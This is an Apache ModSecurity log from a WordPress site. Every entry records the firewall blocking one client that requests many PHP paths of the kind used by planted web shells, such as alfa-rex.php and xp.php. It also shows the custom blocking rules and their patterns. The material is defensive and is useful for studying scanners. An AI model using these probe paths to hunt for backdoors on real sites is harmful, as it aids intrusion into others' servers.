[Mon Mar 30 00:47:35.169359 2026] [:error] [pid 23167:tid 23171] [client 40.75.84.21:58625] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/images/28c5400b0b.php"] [unique_id "aclXpxIAHJCFaHff3_fywAAAAcE"]
[Mon Mar 30 00:47:35.712201 2026] [:error] [pid 32257:tid 32321] [client 40.75.84.21:48467] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/images/28c5400b0b.php"] [unique_id "aclXpyE3TArOFrUtgWqnMQAAAIM"]
[Mon Mar 30 00:47:36.444670 2026] [:error] [pid 23167:tid 23175] [client 40.75.84.21:36997] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/.info.php"] [unique_id "aclXqBIAHJCFaHff3_fyxAAAAcU"]
[Mon Mar 30 00:47:37.152814 2026] [:error] [pid 23284:tid 23288] [client 40.75.84.21:36450] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/.info.php"] [unique_id "aclXqYzBujdPHsq7wyQoBAAAAoI"]
[Mon Mar 30 00:47:37.649673 2026] [:error] [pid 32257:tid 32328] [client 40.75.84.21:48490] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/.info.php"] [unique_id "aclXqSE3TArOFrUtgWqnOQAAAIo"]
[Mon Mar 30 00:47:38.227120 2026] [:error] [pid 23284:tid 23291] [client 40.75.84.21:48451] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/.info.php"] [unique_id "aclXqozBujdPHsq7wyQoDwAAAoU"]
[Mon Mar 30 00:47:38.783212 2026] [:error] [pid 32257:tid 32336] [client 40.75.84.21:47409] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aclXqiE3TArOFrUtgWqnRAAAAJI"]
[Mon Mar 30 00:47:39.444685 2026] [:error] [pid 32257:tid 32340] [client 40.75.84.21:5981] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aclXqyE3TArOFrUtgWqnTgAAAJY"]
[Mon Mar 30 00:47:40.019951 2026] [:error] [pid 32257:tid 32342] [client 40.75.84.21:62387] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/classwithtostring.php"] [unique_id "aclXrCE3TArOFrUtgWqnVQAAAJg"]
[Mon Mar 30 00:47:40.427703 2026] [:error] [pid 32257:tid 32340] [client 40.75.84.21:62356] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/classwithtostring.php"] [unique_id "aclXrCE3TArOFrUtgWqnWwAAAJY"]
[Mon Mar 30 00:47:40.841030 2026] [:error] [pid 32257:tid 32336] [client 40.75.84.21:62394] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/classwithtostring.php"] [unique_id "aclXrCE3TArOFrUtgWqnYQAAAJI"]
[Mon Mar 30 00:47:41.388428 2026] [:error] [pid 23137:tid 23163] [client 40.75.84.21:5514] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/images/install.php"] [unique_id "aclXrRaWQa7LdZ_qGFYY8wAAAZg"]
[Mon Mar 30 00:47:41.832676 2026] [:error] [pid 32255:tid 32311] [client 40.75.84.21:36995] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/link.php"] [unique_id "aclXrWnfn-AtRoMbquxBqQAAAFQ"]
[Mon Mar 30 00:47:42.248190 2026] [:error] [pid 32257:tid 32335] [client 40.75.84.21:43225] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/link.php"] [unique_id "aclXriE3TArOFrUtgWqnZQAAAJE"]
[Mon Mar 30 00:47:42.660736 2026] [:error] [pid 23284:tid 23310] [client 40.75.84.21:47411] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/link.php"] [unique_id "aclXrozBujdPHsq7wyQoKgAAApg"]
[Mon Mar 30 00:47:43.137905 2026] [:error] [pid 23284:tid 23290] [client 40.75.84.21:5536] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "aclXr4zBujdPHsq7wyQoLgAAAoQ"]
[Mon Mar 30 00:47:43.546269 2026] [:error] [pid 8818:tid 8831] [client 40.75.84.21:65036] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "aclXryCDvotZNSF0FBoI_AAAAUk"]
[Mon Mar 30 00:47:43.946821 2026] [:error] [pid 23284:tid 23289] [client 40.75.84.21:43213] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "aclXr4zBujdPHsq7wyQoMwAAAoM"]
[Mon Mar 30 00:47:44.405754 2026] [:error] [pid 32257:tid 32318] [client 40.75.84.21:37020] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "aclXsCE3TArOFrUtgWqnZwAAAIA"]
[Mon Mar 30 00:47:44.833218 2026] [:error] [pid 23167:tid 23185] [client 40.75.84.21:48478] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "aclXsBIAHJCFaHff3_fyygAAAc8"]
[Mon Mar 30 00:47:45.244200 2026] [:error] [pid 32255:tid 32306] [client 40.75.84.21:37016] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "aclXsWnfn-AtRoMbquxBuAAAAE8"]
[Mon Mar 30 00:47:45.651546 2026] [:error] [pid 23284:tid 23290] [client 40.75.84.21:37007] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "aclXsYzBujdPHsq7wyQoOwAAAoQ"]
[Mon Mar 30 00:47:46.109121 2026] [:error] [pid 23284:tid 23295] [client 40.75.84.21:62354] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "aclXsozBujdPHsq7wyQoPgAAAok"]
[Mon Mar 30 00:47:46.572596 2026] [:error] [pid 23168:tid 23213] [client 40.75.84.21:43247] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/Requests/Response/wp-login.php"] [unique_id "aclXsmP8p0yRL8ot_2_dmQAAAhA"]
[Mon Mar 30 00:47:47.059277 2026] [:error] [pid 23284:tid 23291] [client 40.75.84.21:43241] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "aclXs4zBujdPHsq7wyQoRgAAAoU"]
[Mon Mar 30 00:47:47.599183 2026] [:error] [pid 32255:tid 32303] [client 40.75.84.21:5172] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "aclXs2nfn-AtRoMbquxBwgAAAEw"]
[Mon Mar 30 00:47:48.203896 2026] [:error] [pid 23168:tid 23203] [client 40.75.84.21:48488] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "aclXtGP8p0yRL8ot_2_dnAAAAgY"]
[Mon Mar 30 00:47:48.725146 2026] [:error] [pid 23250:tid 23254] [client 40.75.84.21:43245] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "aclXtJxrpj-dQjy1cvondAAAAkI"]
[Mon Mar 30 00:47:49.131749 2026] [:error] [pid 8818:tid 8846] [client 40.75.84.21:58677] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "aclXtSCDvotZNSF0FBoJAwAAAVg"]
[Mon Mar 30 00:47:49.626826 2026] [:error] [pid 8818:tid 8842] [client 40.75.84.21:6005] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/sodium_compat/src/alfa-rex.php"] [unique_id "aclXtSCDvotZNSF0FBoJBgAAAVQ"]
[Mon Mar 30 00:47:50.347143 2026] [:error] [pid 8818:tid 8835] [client 40.75.84.21:40141] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/wp-mail.php"] [unique_id "aclXtiCDvotZNSF0FBoJBwAAAU0"]
[Mon Mar 30 00:47:50.940192 2026] [:error] [pid 23250:tid 23255] [client 40.75.84.21:47400] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/wp-mail.php"] [unique_id "aclXtpxrpj-dQjy1cvondgAAAkM"]
[Mon Mar 30 00:47:51.624337 2026] [:error] [pid 23284:tid 23292] [client 40.75.84.21:5139] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "aclXt4zBujdPHsq7wyQoUgAAAoY"]
[Mon Mar 30 00:47:52.334253 2026] [:error] [pid 23250:tid 23270] [client 40.75.84.21:37004] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "aclXuJxrpj-dQjy1cvoneQAAAlI"]
[Mon Mar 30 00:47:52.922819 2026] [:error] [pid 23167:tid 23192] [client 40.75.84.21:37005] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "aclXuBIAHJCFaHff3_fy4gAAAdY"]
[Mon Mar 30 00:47:53.372249 2026] [:error] [pid 23168:tid 23201] [client 40.75.84.21:5555] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "aclXuWP8p0yRL8ot_2_dqQAAAgQ"]
[Mon Mar 30 00:47:53.911165 2026] [:error] [pid 32359:tid 32362] [client 40.75.84.21:47420] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/xp.php"] [unique_id "aclXuQMb8G3UzfQP3WhGfAAAAME"]
[Mon Mar 30 00:47:54.556460 2026] [:error] [pid 23284:tid 23305] [client 40.75.84.21:5525] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/xp.php"] [unique_id "aclXuozBujdPHsq7wyQoWAAAApM"]
[Mon Mar 30 00:47:55.455521 2026] [:error] [pid 32255:tid 32297] [client 40.75.84.21:5973] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/xp.php"] [unique_id "aclXu2nfn-AtRoMbquxB2gAAAEY"]
[Mon Mar 30 00:47:56.237175 2026] [:error] [pid 32257:tid 32321] [client 40.75.84.21:43232] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/xp.php"] [unique_id "aclXvCE3TArOFrUtgWqnkwAAAIM"]
[Mon Mar 30 00:47:56.933324 2026] [:error] [pid 23284:tid 23300] [client 40.75.84.21:36439] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/assets/themes.php"] [unique_id "aclXvIzBujdPHsq7wyQoZwAAAo4"]
[Mon Mar 30 00:47:57.590486 2026] [:error] [pid 23137:tid 23149] [client 40.75.84.21:43221] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/chosen.php"] [unique_id "aclXvRaWQa7LdZ_qGFYY_gAAAYo"]
[Mon Mar 30 00:47:58.161666 2026] [:error] [pid 32257:tid 32325] [client 40.75.84.21:47417] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/chosen.php"] [unique_id "aclXviE3TArOFrUtgWqnnwAAAIc"]
[Mon Mar 30 00:47:59.134592 2026] [:error] [pid 23167:tid 23176] [client 40.75.84.21:5141] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/Content/Type/wp-login.php"] [unique_id "aclXvxIAHJCFaHff3_fy5wAAAcY"]
[Mon Mar 30 00:47:59.650101 2026] [:error] [pid 23168:tid 23205] [client 40.75.84.21:43243] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js/style.php"] [unique_id "aclXv2P8p0yRL8ot_2_duwAAAgg"]
[Mon Mar 30 00:48:00.078275 2026] [:error] [pid 23168:tid 23198] [client 40.75.84.21:37036] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js/style.php"] [unique_id "aclXwGP8p0yRL8ot_2_dvQAAAgE"]
[Mon Mar 30 00:48:00.497143 2026] [:error] [pid 23168:tid 23218] [client 40.75.84.21:5518] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js/style.php"] [unique_id "aclXwGP8p0yRL8ot_2_dwAAAAhU"]
[Mon Mar 30 00:48:00.963660 2026] [:error] [pid 23284:tid 23292] [client 40.75.84.21:5969] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js/style.php"] [unique_id "aclXwIzBujdPHsq7wyQodQAAAoY"]
[Mon Mar 30 00:48:01.405645 2026] [:error] [pid 23284:tid 23306] [client 40.75.84.21:5339] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aclXwYzBujdPHsq7wyQofAAAApQ"]
[Mon Mar 30 00:48:01.831116 2026] [:error] [pid 23284:tid 23290] [client 40.75.84.21:47404] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aclXwYzBujdPHsq7wyQogAAAAoQ"]
[Mon Mar 30 00:48:02.292728 2026] [:error] [pid 32257:tid 32324] [client 40.75.84.21:36477] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aclXwiE3TArOFrUtgWqntQAAAIY"]
[Mon Mar 30 00:48:02.750723 2026] [:error] [pid 32255:tid 32297] [client 40.75.84.21:43229] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aclXwmnfn-AtRoMbquxB5AAAAEY"]
[Mon Mar 30 00:48:03.179970 2026] [:error] [pid 32257:tid 32326] [client 40.75.84.21:5147] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock.php"] [unique_id "aclXwyE3TArOFrUtgWqnvAAAAIg"]
[Mon Mar 30 00:48:03.641216 2026] [:error] [pid 32257:tid 32342] [client 40.75.84.21:48470] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock.php"] [unique_id "aclXwyE3TArOFrUtgWqnwwAAAJg"]
